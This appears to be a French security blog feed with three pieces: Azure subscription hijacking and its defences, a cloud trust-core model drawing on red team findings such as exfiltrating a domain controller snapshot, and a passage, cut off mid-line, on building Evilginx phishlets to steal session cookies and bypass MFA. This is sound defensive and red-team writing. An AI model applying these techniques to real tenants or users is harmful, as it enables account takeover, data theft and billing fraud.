Rappel de ce qu’est une subscription Azure

Une subscription Azure (en français abonnement) est un conteneur de ressources et de services cloud associé à un tenant, qui permet de gérer la facturation, les accès et le déploiement des ressources Azure.

Architecture des ressources sur Azure

Fonctionnement de l’attaque 

Sur Microsoft Azure, on considère la situation de départ suivante : 

• Il y a une organisation légitime (tenant victime), qui contient ou non une subscription. 
• Il y a une organisation malveillante (tenant de l’attaquant) sous le contrôle d’un attaquant. 

L’attaque suit alors les 4 étapes suivantes : 

Etapes de l’attaque Azure

1. L’attaquant doit être présent dans les deux organisations : Il compromet donc un administrateur interne au tenant victime pour faire inviter son compte externe dans le tenant, ou bien il convainc un administrateur non compromis de se faire inviter, sous un prétexte quelconque. Dans les deux cas, l’administrateur l’invite dans le tenant victime. 
2. L’attaquant prend pour cible une subscription existante ou bien en crée une nouvelle lui-même (ce qui nécessite des permissions), associé à un compte de facturation existant. 
3. L’attaquant obtient le rôle Owner sur la subscription visée. S’il l’a créée lui-même, il l’est déjà par défaut, sinon il doit le recevoir d’un administrateur. 
4. L’attaquant effectue le transfert de la subscription de l’organisation de départ à l’organisation d’arrivée. 

La subscription est désormais sous le contrôle complet de l’organisation de l’attaquant et peut facturer l’ancien compte de facturation.  

Pourquoi cette attaque est dangereuse ? 

Cette attaque est potentiellement très dangereuse car elle est instantanée à réaliser si les conditions sont réunies, donne à l’attaquant un contrôle complet sur la ressource et son éventuel contenu, et est irréversible sans intervention du support. 

Une attaque instantanée 

Par défaut, n’importe quel utilisateur Owner sur une subscription Azure, qui est également présent dans un autre tenant, peut effectuer le transfert sans restriction. 

Des conséquences multiples et potentiellement irréversibles 

La subscription passe sous le contrôle du tenant malveillant qui l’a récupérée. Il peut donc : 

• Avoir le contrôle total dessus tandis que l’utilisateur d’origine n’y a plus accès 
• En extraire toutes les ressources ou informations 
• L’utiliser en faisant facturer l’utilisation à l’ancien moyen de facturation appartenant au propriétaire légitime 

Note : Un intérêt du subscription hijacking est d’amener les ressources dans son propre environnement hors de contrôle du propriétaire légitime, pour s’en servir à son propre compte ou pour facturer des nouvelles utilisations à l’ancien propriétaire. Cependant, un simple transfert sans utilisation entraîne déjà des conséquences importantes : l’utilisateur aura perdu sa subscription, et donc aura perdu toutes les ressources, mais également la structure (rôles, assignations, règles), qui peut être très longue à reconstruire. 

Si le propriétaire légitime peut bloquer la facturation une fois qu’il réalise ce qu’il se passe, il n’y a en revanche pas de moyen de récupérer la subscription si l’attaquant a retiré tous les anciens Owner de celle-ci. La seule alternative devient alors de se tourner vers le support de Microsoft. 

L’article suivant de Derk van der Woude décrit un cas de minage de cryptomonnaies effectué avec des subscriptions volées et facturé à l’ancien propriétaire : 

https://derkvanderwoude.medium.com/azure-subscription-hijacking-and-cryptomining-86c2ac018983 

Comment s’en protéger ? 

Pour se protéger d’un transfert illégitime de subscription, il existe des mesures préventives que l’on peut citer pour prévenir chaque étape de l’attaque : 

Mesures préventives 

1. Accès de l’attaquant aux ressources : politiques d’accès conditionnelles

Les politiques d’accès conditionnel basées sur le risque permettent de renforcer automatiquement la sécurité en adaptant les contrôles selon le niveau de risque détecté lors d’une connexion ou associé à un utilisateur. Elles permettent par exemple de bloquer les accès suspects ou d’imposer une authentification multi facteur (MFA). Ainsi, l’accès d’un invité suspect pourrait être bloqué. 

      2. Montée en privilège/obtention du rôle Owner : gestion des identités privilégiées 

La gestion des identités privilégiées (Privileged Identity Management, PIM)​ permet d’accorder des rôles à privilèges élevés seulement quand cela est nécessaire, via une élévation temporaire, approuvée et justifiée. Il réduit ainsi les risques liés aux permissions excessives grâce au contrôle, au suivi et aux notifications d’activation. 

      3. Transfert de la subscription : politique de subscription (subscription policy) 

Une subscription policy permet de bloquer le transfert d’une subscription Azure vers ou hors du tenant afin d’éviter les détournements. Elle s’implémente via Azure Policy en définissant puis assignant une règle qui restreint les actions de transfert, avec des revues régulières pour garantir son efficacité. Elle s’applique à toutes les subscriptions se trouvant dans son scope d’assignation. 

Solutions de détection 

Certaines solutions permettent de détecter cette attaque sur Microsoft Azure : 

• UEBA (Sentinel) : détecte les comportements anormaux (connexions inhabituelles, accès sensibles, modifications inattendues). Cela permet d’identifier rapidement un compte compromis avant qu’il ne puisse détourner une subscription. 
• Privileged Identity Management (PIM)​ : contrôle les élévations de privilèges et peut déclencher des alertes en cas d’activation d’un rôle privilégié. 
• Alerte Sentinel personnalisée : Peut surveiller spécifiquement les événements indiquant un transfert de subscription. La règle analyse régulièrement les logs AzureActivity et déclenche immédiatement une alerte lorsqu’une opération suspecte comme le déplacement d’une subscription est détectée. 

Stratégie de résilience 

La stratégie de résilience à mettre en place est une sauvegarde (backup) des ressources qui permet de les restaurer en cas de détournement effectif de la subscription. 

1. Isoler les sauvegardes Azure Backup dans une subscription dédiée réservé aux backups avec des règles de sécurité strictes 
2. Protéger les sauvegardes : activer le soft delete (pas de suppression définitive immédiate), la suppression réversible, l’immutabilité (empêche la modification ou la suppression pendant une période), des verrous anti-suppression 
3. Multiplier les copies, éventuellement vers un autre tenant 
4. Sauvegarder également la gouvernance (configurations Entra ID via Microsoft 365 DSC, configuration d’infrastructure avec Terraform) 
5. Automatiser la reconstruction avec l’infrastructure-as-code (Blueprints, ARM, Terraform) 
6. Tester régulièrement les backups 

Réaction à l’attaque 

Subir cette attaque revient à perdre sa subscription Azure. Auquel cas, les options sont limitées. Il faut très rapidement : 

• Bloquer les accès de l’attaquant et révoquer les éventuels secrets compromis dans l’attaque 
• Contacter le support Microsoft Billing pour bloquer la facturation 
• Contacter le support Microsoft (technique/Azure) pour tenter de récupérer la subscription 

Et sur les autres providers ? (AWS et GCP) 

Une fois cette attaque identifiée sur Azure, la question de son existence (ou d’un équivalent) sur AWS et GCP se pose alors. Le concept de subscription n’existe pas en tant que tel sur ces deux fournisseurs cloud, cependant, des unités hiérarchiques équivalentes jouent le même rôle. S’il était possible de les migrer vers une autre organisation AWS et GCP de manière illégitime, ce serait un équivalent du subscription hijacking sur ces fournisseurs.  

AWS : un équivalent possible mais avec des conditions distinctes 

Sur AWS, l’équivalent hiérarchique de la subscription est le compte AWS : un compte AWS, présent dans une organisation, contient des utilisateurs IAM, des ressources et c’est à son niveau que la facturation est gérée, si elle n’est pas consolidée par le compte de gestion. 

Le but d’un attaquant serait donc ici de faire migrer ce compte AWS vers une autre organisation. 

Chemin à suivre 

Le chemin à suivre pour effectuer la migration est le suivant : 

Etapes de l’attaques AWS 

Un compte AWS contient : 

• Un utilisateur root, unique, qui dispose de tous les droits sur le compte 
• Des utilisateurs IAM disposant de droits IAM attribués

Dès lors, deux stratégies sont envisageables pour l’attaquant : parvenir à compromettre le root (auquel cas il peut effectuer toute action) ou réussir à monter en privilèges sur un utilisateur IAM classique. Cependant, l’approbation du root reste requise pour l’étape 1 (il peut par exemple avoir été manipulé pour effectuer cette action). De plus, si des guardrails ou des stratégies de contrôle des services (Service Control Policies) sont appliqués, le compte root doit toujours valider l’opération. Par conséquent, un utilisateur IAM, même avec des droits élevés, ne peut pas toujours migrer un compte de manière autonome. 

Des conséquences similaires à l’attaque Azure ? 

Il est établi que sur Azure, le transfert de la subscription entraînait une perte de contrôle totale sur celui-ci. Ici, sur AWS, deux nuances sont à introduire : 

• D’abord, comme le montre le schéma précédent, la facturation doit impérativement être changée (vers un mode de facturation indépendant) pour permettre la migration du compte sur une autre organisation, ce qui élimine le risque de se voir facturer des services par l’attaquant après la migration
• Ensuite, dans le cas théorique où c’est un utilisateur IAM non-root qui a réalisé la migration du compte (en ayant recueilli toutes les permissions nécessaires), alors cet utilisateur n’a pas un contrôle total sur ce compte, même en le laissant indépendant (standalone), ou en le faisant rejoindre une organisation sous son contrôle. Les comptes AWS ont en effet une forte indépendance, et le fait d’avoir un compte AWS dans son organisation ne permet pas d’en faire ce que l’on souhaite (accéder à certaines ressources, le supprimer) si l’on ne dispose pas du root

Conclusion 

Si l’attaque semble théoriquement possible sur AWS, elle nécessite plus de conditions et entraîne moins de conséquences négatives définitives que sur Azure. En définitive, le seul moyen de prendre le contrôle total d’un compte AWS reste de disposer de son root. 

GCP : un équivalent possible mais plus difficile à réaliser 

Sur GCP, l’architecture est plus proche d’Azure. L’équivalent de la subscription Azure est le projet GCP. Ici, le but de l’attaquant serait donc de faire migrer un projet d’une organisation GCP à une autre.  

Chemin à suivre 

Les étapes à suivre pour effectuer la migration sont les suivantes : 

Etapes de l’attaque GCP 

Des conséquences similaires à l’attaque Azure ? 

Les conséquences en cas de migration de projet GCP sont les mêmes que pour une subscription Azure : une perte de contrôle totale sur l’élément, et le risque de se voir facturer une utilisation de l’attaquant si la facturation n’a pas été modifiée. 

Conclusion 

Un détournement de ressources similaire au subscription hijacking visant Microsoft Azure est donc théoriquement possible sur GCP. Les conditions plus strictes qui sont nécessaires rendent cependant ce cas moins probable, mais il doit être considéré. 

Résumé des conséquences 

Résumé des conséquences

Conclusion 

Le subscription hijacking doit donc être considéré comme une attaque d’importance aux conséquences graves et à fort impact pour les organisations ou entreprises touchées. Protéger les unités hiérarchiques gérant la facturation et les ressources contre tout déplacement ou migration illégitime (les mesures vont varier suivant le fournisseur cloud visé), et prévoir des processus de remédiation et de sauvegarde en cas de perte est crucial pour la sécurité d’une organisation. 

Cet article Le subscription hijacking sur Microsoft Azure  est apparu en premier sur RiskInsight.

Le principe de tiering préconisé sur les infrastructures on-premise est-il applicable au cloud ?

Évolution du modèle de sécurité

Dans les environnements on-premise, en particulier Active Directory, la sécurité des infrastructures s’appuie généralement sur une segmentation stricte en trois niveaux (T0, T1 et T2) permettant d’isoler les systèmes d’administration critiques (T0), les serveurs (T1) et les postes utilisateurs (T2) afin de limiter les risques de propagation.

Cette organisation hiérarchique et périmétrique est inhérente au monde AD et ne peut être directement appliquée au cloud pour ces deux principales raisons :

• Les portails sont centralisés: une grande diversité d’administrateurs aux droits différents interagit avec la même URL.
• La frontière entre les niveaux d’administration est complexifiée: le principe de permission fine, par rôle (RBAC), par attribut de ressources (ABAC), selon certaines conditions (provenance, risque, conformité, méthode d’authentification…) permet de configurer des accès très précisément, mais complexifie et floute la vision globale des permissions.

Afin de proposer une réponse à ce nouveau paradigme, Microsoft a publié son Enterprise Access Model (décrit ici), mettant en évidence 3 principaux plans : le Control Plane, Management Plane et Data Plane.

Ce modèle reprend la criticité « en cascade », mais simplifiant :

• les 3 tiers en 2 accès : administrateur vs utilisateur ;
• les flux d’administration en accès au portail ;
• la criticité des serveurs en les centralisant dans le Data plane.

Une illustration de l’ancien et du nouveau modèle :

Ce nouveau modèle met particulièrement en valeur 3 éléments :

• L’identité de l’utilisateur : accès privilégié vs accès utilisateur ;
• La donnée et les services : au détriment des serveurs ;
• La méthode d’accès aux portails web d’administration.

L’inversion des importances entre « serveurs » et « portails web » abstrayant l’Active Directory est un changement radical.

Cependant, très peu (si ce n’est aucune) grande structure en est à ce niveau d’abandon de son SI « legacy », une grande partie sera dans un état transitoire où ce SI aura été virtualisé sur un Cloud afin de se séparer de ses datacenters, mais dont les modalités d’administration sont restées les mêmes.

Ces entreprises doivent donc traiter avec un tiering model désuet et un Enterprise Access Model décoléré des risques et besoins de sécurité actuels.

Pour la suite de cet article, nous prendrons comme exemple la société Tartampion, qui vient de terminer un programme Move-to-Cloud de 3 ans sur AWS. Le bilan est le suivant :

• Une Landing Zone a été créée, les applications déjà sur AWS y ont été intégrées
• Les Data Center ont été fermés
• Pris par le manque de temps et de moyens, une majeure partie du SI a été incorporé en lift and shift, incluant des solutions métiers, réseau, bastion et AD.

Un SI hybride et virtualisé qui pose problème

Selon l’EAM, les portails Azure et AWS sont affichés au même niveau (le management plane) au rang T1, sans autre forme de distinction. Or ces 2 environnements cloud sont à eux seuls le support de nombreux SI, utilisés par de multiples collaborateurs avec des niveaux de droits et d’impacts très variés.

Pour illustrer les précédents propos, mettons de côté l’aspect Digital Workplace (suite O365) et prenons 3 comptes AWS issus d’une Landing Zone de Tartampion, supportant différents services d’infrastructure :

En se fiant au référentiel proposé par Microsoft, ces trois comptes AWS devraient appartenir au Management plane avec un niveau de sécurité T1. Cependant, en cas de compromission d’un des 3 comptes par un attaquant, les impacts seraient très différents.

Si la Landing Zone est correctement implémentée, la compromission d’un compte de Sandbox n’aurait que très peu d’impact, tandis que celle du Master Account entrainerait celle de tous les comptes et ressources sous-jacentes.

Un exemple de découpage plus adéquat serait le suivant :

L’Enterprise Access Model par Microsoft est un framework macroscopique permettant d’initier une base de découpage des services cloud, mais qui reste à adapter selon la criticité des SI concernés.

Comment le rendre pertinent ? Pour répondre, il faut comprendre les scénarios d’attaque exploitant les services cloud.

Le Cloud vu de l’attaquant

5 principes du cloud favorisant les attaques

Premièrement, les infrastructures cloud sont par défaut exposées sur Internet, contrairement aux ressources sensibles d’un SI. Ainsi, un phishing réussi conduit très probablement à un accès sur le Cloud.

Deuxièmement, les entreprises ont aujourd’hui des organisations hybrides (on-premise et cloud) :

• Les infrastructures cloud sont reliées au reste du SI on-premise ;
• Les postes de travail peuvent également être hybrides et gérés par un service cloud comme Intune. Les permissions pour utiliser ce service sont gérées dans Entra ID ;
• Les identités sont souvent des comptes synchronisés, cela concerne également les comptes d’administration.

Les organisations hybrides peuvent faciliter les latéralisations entre le cloud et l’on-premise.

Troisièmement, la gestion des identités est très complexe avec différentes portées. Par exemple, Entra ID permet de gérer les accès à Azure et M365 aussi bien pour des utilisateurs, que des applications que des comptes de service.

Pour compléter, les notions de cybersécurité liées au Cloud sont encore relativement nouvelles et méconnues pour certaines équipes « legacy », comme le SOC/CERT, le réseau… Les ressources cloud les plus sensibles ne sont pas systématiquement identifiées, protégées et surveillées.

Enfin, même si des mécanismes de détection natifs sont présents, ils ne sont pas toujours interconnectés avec les SIEM/SOAR, ce qui ralentit les capacités d’intervention. Une récente opération Purple Team menée sur des infrastructures Azure et AWS a confirmé que les outils de détection natifs ont une capacité de détection limitée. Il s’agit d’un constat retrouvable dans les Red Team puisqu’avec une démarche « OpSec », les outils de détection cloud sont rarement capables d’identifier une attaque en cours.

REX de nos tests d’intrusion & Red Team

Issus des opérations de Red Team menées récemment, ces chemins d’attaques spécifiques aux environnements cloud sont témoin des impacts et des facilités qu’il est possible d’avoir pour s’élever en privilège jusqu’à obtenir des accès très permissifs :

Le premier scénario, effectué sur AWS, est décrit ci-dessous, les deux autres ont été analysés dans une série d’articles Risk Insight disponible ici.

Reconnaissance et Accès initial

Des catégories d’employés sont généralement ciblées afin de compromettre une personne avec des droits intéressants dans le SI (Développeur, Support, OPS…). Un moyen souvent utilisé est d’utiliser du phishing. Les mécanismes de phishing actuel sont capables de contourner l’usage de mots de passe complexe et la plupart des méthodes de MFA (Multi-Factor Authentication).

Escalade de privilèges et mouvements latéraux

Dans le premier scénario, un développeur compromis possédait des accès à une ferme Citrix. Les environnements Citrix ne sont pas simples à durcir complètement et quelques vulnérabilités d’échappement ont permis à la Red Team d’avoir un accès au serveur sous-jacent.

Les informations récoltées sur la machine ont indiqué que le serveur pouvait être hébergé sur AWS. Cela s’est vérifié en essayant d’accéder aux métadonnées AWS du serveur : l’instance avait des droits sur le compte AWS du client. La machine virtuelle du Citrix possédait le rôle « AmazonEC2FullAccess » lui permettant des actions de gestion sur les EC2 du même compte AWS.

À l’aide de la CLI AWS, les autres EC2 ont été listées. Un contrôleur de domaine du client était présent dans ce compte AWS. C’est une pratique courante de vouloir regrouper dans un même compte, généralement appelé « Shared Services », les services qui ont pour vocation d’être utilisés par plusieurs projets. Il est néanmoins recommandé de vérifier que la criticité des services partagés soit homogène de sorte à pouvoir appliquer un durcissement adéquat sur le compte, ou les séparer en plusieurs environnements.

Actions sur les trophées

À partir du rôle AWS du serveur Citrix, une sauvegarde instantanée du contrôleur de domaine a été faite puis téléchargée. Les sauvegardes d’un contrôleur de domaine contiennent tous les fichiers de la machine, y compris les fichiers les plus sensibles, comme la base ntds.dit, qui contient les informations et secrets de tous les utilisateurs du domaine. L’exfiltration de cette base se traduit en la compromission totale du domaine AD concerné.

Ce scénario illustre l’un des chemins d’attaques qui ont été exploités lors des opérations de redteam, facilité par le manque de visibilité sur les impacts que peuvent avoir une ressource compromise hébergée sur le cloud.

Des impacts plus rapides et plus forts

Les attaques déjà possibles sur un SI on-premise peuvent être reproduites et même accélérées grâce aux fonctionnalités du cloud. Par exemple, le chiffrement de buckets S3 (service de stockage de fichiers) à partir d’une clé KMS (de chiffrement) d’un autre compte AWS imite le chiffrement massif de données, ou l’utilisation de la fonctionnalité « lifecycle » permet une suppression de tous les objets en moins de 24 heures, peu importe la quantité de données.

De nouvelles attaques sont également apparues comme le « Hijack de souscription » qui permet de rattacher un abonnement d’une organisation Azure à une autre et ainsi de voler toutes les données qu’il contient et empêcher les actions de remédiation. Cette attaque est réalisable en quelques clics depuis l’interface web Azure.

Identification et protection du cœur de confiance cloud

Identification du Cœur de confiance

Le cœur de confiance adopte une approche centrée sur la priorisation des actifs, qui diffère du modèle de tiering ou de l’Enterprise Access Model de Microsoft. Contrairement à ces modèles qui proposent un découpage prédéfini, il n’existe pas de grille universelle : chaque organisation doit identifier elle-même quelles ressources méritent le plus haut niveau de protection. L’idée est d’établir un cercle restreint de ressources critiques (qu’elles soient cloud ou on-premise) puis de déployer des niveaux de protection dégressifs à mesure que l’on s’éloigne de ce cœur.

L’identification du cœur de confiance repose sur deux grands critères :

• Criticité métier: ce sont les ressources qui concentrent la valeur et la continuité des activités de l’entreprise. Si elles venaient à être perdues ou compromises, les conséquences seraient immédiates pour le fonctionnement quotidien et financièrement. Un environnement SharePoint contenant la donnée intellectuelle / brevets en est un exemple courant ;
• Criticité SI: il s’agit des ressources qui assurent l’administration du système d’information et qui disposent d’un niveau d’accès élevé. Leur compromission aurait un impact majeur sur l’ensemble du SI et permettrait d’avoir l’impact métier précédemment énoncé. On retrouve ici les contrôleurs de domaine ou encore les services d’IAM Cloud comme Entra ID et AWS Identity Center.

Cette cartographie n’est jamais totalement tranchée. Pour certains éléments, la posture à adopter reste plus floue, deux exemples l’illustrent bien :

• L’EDR: élément de sécurité évident d’un SI, systématiquement déployé tant sur les postes de travail que sur les serveurs cloud et on-premise, sa console d’administration est de plus en plus souvent exposée sur internet, et permet d’exécuter des commandes arbitraires sur les équipements qui en sont équipés.
• Les chaînes CICD: un savant, mais complexe agglomérat d’applications s’appelant entre elles, dont l’accès (le gestionnaire de code : GitLab, GitHub…) est offert à l’ensemble des collaborateurs et les droits sur le SI (manipulé par les runners de déploiement) sont bien souvent administrateur de l’ensemble des infrastructures cloud. Sur l’ensemble des Red Team effectués en 2024 & 2025, 80% ont exploité des vulnérabilités associées à ses solutions pour progresser dans leur opération, voire obtenir des trophées de compromission par ce biais.

Afin d’identifier le « noyau dur » du cœur de confiance, qu’on appellera socle de sécurité, on peut reprendre les préceptes de l’ancien T0 : la compromission d’un de ses éléments entrainerait probablement celles des autres, et par cascade de la majeure partie du SI.

En supposant que vos applications appliquent un correct cloisonnement interutilisateur (l’intégralité de vos sites SharePoint n’est pas accessible par tous, n’est-ce pas ?), les références aux prochaines applications seront à comprendre comme des accès administrateurs / super-utilisateurs à ces dernières, et non simple utilisateur.

Voici l’une des représentations possibles pour un cœur de confiance hybride :

Dans cette représentation, il y a côté on-premise :

• Le T0 avec ses contrôleurs de domaine, l’ADCS, et potentiellement la PKI, le bastion, la console EDR…
• Le T1 en intégrant en plus les applications métiers à fort impact.

Et côté Cloud, on retrouve :

• Au cœur le Control Plane (AWS Orga & Identity Center, Entra ID) ainsi que les modules de la Landing Zone supportant le T0 (si une partie du T0 est hébergée dans le Cloud) ;
• En s’éloignant, les diverses consoles d’administration des suites de bureautique, et de management des infrastructures ou des applications.

En établissant ce diagramme, il est important de garder à l’esprit que :

• L’IT sert au métier et quand bien même la zone centrale du cœur de confiance est principalement occupée par des briques techniques, il convient d’inscrire ses solutions critiques ;
• Les chaînes de dépendance / compromission ont beaucoup d’impact sur les choix d’architecture: positionner un AD sur AWS, ou déployer un EDR sur un AD peut soudainement créer de nombreux chemins de compromission et de rebond entre les 2 mondes.

Enfin, la construction d’un cœur de confiance ne peut pas se limiter à une logique de classification statique. Elle doit reposer sur une approche qui évalue la criticité de chaque actif et le risque qu’il introduit (une entreprise de développement de logiciel ne positionnera surement son Git au même niveau qu’une entreprise de travaux public).

Protection du cœur de confiance cloud

La sécurité du cœur de confiance va reposer sur les deux traditionnels facteurs de risques :

• Réduire l’impact: comment empêcher un utilisateur compromis ou malveillant de se connecter aux portails cloud sur un navigateur et de faire des actions sensibles en quelques clics, comme faire une sauvegarde d’un contrôleur de domaine hébergé sur une VM ou supprimer les sauvegardes de données de production ?
• Réduire la probabilité : comment réduire les risques d’accès illégitimes à partir d’un cookie de session volé par phishing, de la compromission d’un poste de travail ou de la réutilisation de mots de passe des utilisateurs ?

Protection du socle de sécurité cloud

Concernant le « socle de sécurité » cloud il est possible de hiérarchiser les environnements par criticité selon cette échelle macroscopique :

En fonction des équipes en charge et de la complexité de les inclure dans un niveau de protection particulièrement élevée, certaines organisations font le choix d’exclure des environnements dont la compromission ne permettrait pas une latéralisation dangereuse, telle que ceux de FinOps, de détection, le Digital Workplace…

La sécurisation du socle de sécurité cloud repose sur 2 principaux points :

• Une hygiène impeccable : configuration IAM épurée, respect du moindre privilège, procédure de déploiement, limitation des ressources au strict nécessaire…
• Une couche de sécurité passive / active : déploiement de politiques (SCP sur AWS, Policy sur Azure) interdisant explicitement certaines actions, ou la manipulation de certaines ressources, et règles de détection afin de lever une alerte en cas de modification d’une politique ou l’occurrence d’un de ses évènements protégés ;

Ces politiques peuvent efficacement être associées à une stratégie de tagging afin d’appliquer, en plus du modèle RBAC (Role Based Access Control) un modèle ABAC (Attribute Based Access Control).

Par exemple il est possible de tagger différentes ressources avec une clé « tiering » et une valeur entre « T0 », « T1 », « T2 » puis de déployer cet ensemble de stratégies :

• Interdire toute action visant une ressource taguée tiering par une identité dont la valeur de son propre tag tiering n’est pas équivalente ;
• Interdire la manipulation de tag tiering, sauf pour un rôle bien précis.

Et voilà comment, en quelques tags et 2 SCP, il est possible de répliquer le tiering model de Microsoft (quelques exceptions peuvent subvenir).

Protections des identités et des accès

Pour protéger les utilisateurs, 3 thématiques de durcissement peuvent être mises en place :

• Identité : avec quel compte l’utilisateur se connecte-t-il aux interfaces d’administration cloud ? Comment les droits sont-ils obtenus ?
• MFA : l’identité est-elle protégée avec une authentification multifactorielle résistante aux attaques de phishing ?
• Provenance: à partir de quelle plateforme l’utilisateur se connecte-t-il aux interfaces d’administration cloud ? La plateforme est-elle managée, et saine ?

Plusieurs niveaux de protection sont envisageables afin de protéger les administrateurs cloud :

Afin de protéger le cœur de confiance restreint, représenté par les triples cadenas, il est recommandé de mettre en œuvre les facteurs d’authentification les plus robustes. Cela inclut l’utilisation d’un compte dédié à l’administration cloud, l’activation d’une authentification multifactorielle physique (exemple : clé de sécurité FIDO2) et le recours à un poste de travail spécifiquement réservé aux opérations sur ce cœur de confiance.

Pour les ressources plus éloignées du centre du cœur de confiance, symbolisées par les doubles cadenas, un niveau de sécurité durci, mais proportionné peut être appliqué, afin de renforcer la protection pour maitriser les coûts et réduire les contraintes excessives aux utilisateurs concernés.

Finalement, les méthodes les plus sécurisées sont également celles qui impliquent le plus de contraintes aux personnes concernées. Il faut maitriser les usages et prendre en compte des situations d’urgence, comme une intervention en astreinte nécessitant des privilèges très élevés.

Répéter les opérations

À l’issue des phases d’identification et de protection, les ressources seront réparties dans les différentes couches du cœur de confiance.

Pour vérifier la bonne implémentation du cœur de confiance, un audit peut être conduit pour vérifier la bonne protection des ressources critiques qui le compose.

Un système d’information est toujours en évolution, mais les deux premières phases auront été faites à un instant t. De nouvelles ressources critiques peuvent être ajoutées, d’autres modifiées, voire supprimées. Il est primordial de refaire une évaluation régulière de son SI et de mettre à jour la répartition des ressources dans le cœur de confiance.

En conclusion, la sécurité des systèmes d’information s’inscrit désormais dans un contexte de complexité croissante et de forte diversification des composants et services d’infrastructures.

Dans ce contexte, il apparaît de plus en plus complexe de définir un modèle de sécurité universel. Certains cadres conservent toute leur pertinence sur des périmètres bien identifiés : le tiering reste une référence pour la sécurisation de l’Active Directory, tout comme l’EAM pour des environnements Cloud fortement centrés sur l’écosystème Microsoft. Néanmoins, ces modèles atteignent rapidement leurs limites dès lors que l’on s’éloigne de ces cas d’usage spécifiques.

Pour la majorité des systèmes d’information, une approche fondée sur l’analyse des risques s’impose donc comme la plus pertinente. Identifier un cœur de confiance, définir clairement les actifs critiques — les crown jewels — et décliner les mesures de sécurité à partir de ces éléments permet de construire une posture de sécurité plus pragmatique, adaptée à la réalité du SI et capable d’évoluer avec lui.

Cette logique, moins normative mais plus contextualisée, constitue sans doute l’un des leviers majeurs pour concilier sécurité, agilité et pérennité des systèmes d’information.

Cet article Sécurité orientée cloud : Adaptation à une nouvelle réalité est apparu en premier sur RiskInsight.

Habituellement, les threat actors tentent d’envoyer des documents malveillants tels que des applications HTA ou des documents Office malveillants mais, avec le développement de solutions de sécurité SMTP telles que ProofPoint, le durcissement par défaut d’Office lié aux macros et la sensibilisation accrue au phishing, ces types de techniques sont de moins en moins utilisés.

Aujourd’hui, les attaques de phishing ne visent plus à obtenir un accès direct au réseau interne de l’entreprise, mais plutôt à récupérer l’identité numérique de l’utilisateur : son identité Office365, Google Workspace ou Okta. Cette identité est ensuite réutilisée via des applications SSO jusqu’à ce qu’une porte d’entrée soit identifiée, par le biais d’applications exposées comme Citrix ou un accès VPN.

Pour limiter ce type d’attaques, les entreprises ont commencé à imposer l’utilisation de l’authentification multifacteur (MFA), afin de garantir que, même si un acteur malveillant parvient à récupérer un jeu d’identifiants valides par phishing ou collecte, il ne puisse ni compléter le processus d’authentification ni réutiliser ces identifiants sur une autre application.

Phishing 101

IDP, cookies et phishing

La protection MFA mise en place par les entreprises est un bon moyen de limiter l’impact d’un phishing réussi. En effet, même si l’acteur de la menace récupère les informations d’identification de l’utilisateur, il ne sera pas en mesure d’usurper l’identité de l’utilisateur puisqu’il ne pourra pas valider le MFA.

Cependant, aujourd’hui, le MFA n’est généralement demandé que lors de la première authentification : une fois que l’utilisateur est authentifié auprès du fournisseur d’identité, celui-ci lui fournit une preuve d’authentification qu’il peut transmettre à n’importe quel service. Grâce à cette preuve d’authentification, l’utilisateur n’a pas besoin d’une authentification active supplémentaire et n’a donc pas besoin de revalider le MFA tant que ce ticket est valide.

Dans les IDP web les plus courants comme Azure, Google ou Okta, ce ticket est représenté par les cookies. Lorsque l’utilisateur se connecte à l’IDP pour la première fois, le service renvoie un cookie valable pendant 1 heure, 1 jour ou 2 ans. Avec ces cookies, l’utilisateur peut se connecter à n’importe quel autre service web compatible SSO sans authentification.

En résumé, les cookies IDP de l’utilisateur représentent l’identité numérique de l’utilisateur. Par conséquent, dans une attaque de phishing dont l’objectif principal est d’usurper cette identité numérique de l’utilisateur, l’attaquant tentera de voler les cookies une fois que l’utilisateur aura réussi son authentification.

Evilginx

Evil proxy

Pour voler les cookies, l’attaquant doit être placé dans une position man-in-the-middle au cours du processus d’authentification. Cependant, avec la sécurité TLS imposée dans la majorité des IDP, l’utilisateur aura conscience qu’il se passe quelque chose d’anormal.

C’est là qu’Evilginx entre en jeu. Au lieu d’effectuer une simple attaque de type « man-in-the-middle » en relayant le paquet vers l’IDP, Evilginx crée un proxy malveillant : l’utilisateur ne s’authentifie pas sur accounts.google.com, mais il s’authentifie sur login.evilginx.com :

Je ne prendrai pas plus de temps pour développer le principe de proxy malveillant, car ce sujet est déjà bien documenté sur Internet.

Phislets 101

Par exemple, lors de l’authentification à Azure, les domaines suivants sont utilisés :

• login.microsoftonline.com
• www.microsoftonline.com
• aadcdn.microsoftonline.com

Le problème est que pendant le processus d’authentification, l’IDP redirige l’utilisateur vers des pages spécifiques avec le domaine codé en dur dans la réponse. Par exemple, lors d’un processus d’authentification SAML classique, l’IDP forcera le client à effectuer une requête POST vers un domaine spécifique codé en dur. Par conséquent, même si l’utilisateur a commencé son processus d’authentification sur login.evilginx.com, il sera redirigé vers login.microsoftonline.com au cours du processus d’authentification, ce qui rompt la position de l’homme du milieu.

Evilginx utilise des fichiers de configuration spécifiques connus sous le nom de phishlets pour gérer de tels cas. La configuration du phishlet permet à Evilginx de savoir quel domaine doit être réécrit dans la réponse du serveur. Ainsi, si l’IDP renvoie une réponse telle que :

<form id=”SAML” action=”https://login.microsoftonline.com”>
[…]
</form>
<script>
document.getElementById(“SAML”).click()
</script>

Avec le phishlet, Evilginx saura que le domaine login.microsoftonline.com doit être réécrit et renverra à la cible la page modifiée suivante :

<form id=”SAML” action=”https://login.evilginx.com”>
[…]
</form>
<script>
document.getElementById(“SAML”).click()
</script>

Avec un tel modèle de correspondance et de remplacement, Evilginx est capable de maintenir l’utilisateur dans l’application malveillante même si l’IDP tente de rediriger l’utilisateur vers une page spécifique.

Limites du remplacement automatique

Le remplacement automatique des phishlets Evilginx a ses limites. En effet, il arrive que le serveur n’indique pas directement le domaine en dur dans la page, mais qu’il le construise par le biais d’un script JS.

Dans ce cas, Evilginx n’est pas en mesure de détecter automatiquement le motif du domaine. En tant que concepteurs de phishlets, nous devons alors comprendre comment le script fonctionne et remplacer manuellement la partie construisant le domaine de redirection par une correspondance/un remplacement.

CORS

Dans Okta, le flux d’authentification est basé sur plusieurs scripts JS récupérés sur le domaine oktadcn. Le script construit dynamiquement l’URL de redirection : il prend le nom du locataire Okta et ajoute « okta.com ». Par conséquent, lorsque Okta tente d’atteindre la page spécifique en utilisant le domaine okta.com, il échoue en raison de la protection CORS (tentative d’atteindre okta.com/idp/idx/introspect à partir de evilginx.com) :

En déboguant l’application, il est possible de trouver l’endroit où la construction de l’URL est effectuée et de la modifier en remplaçant le motif correspondant :

Replace: array");var t=
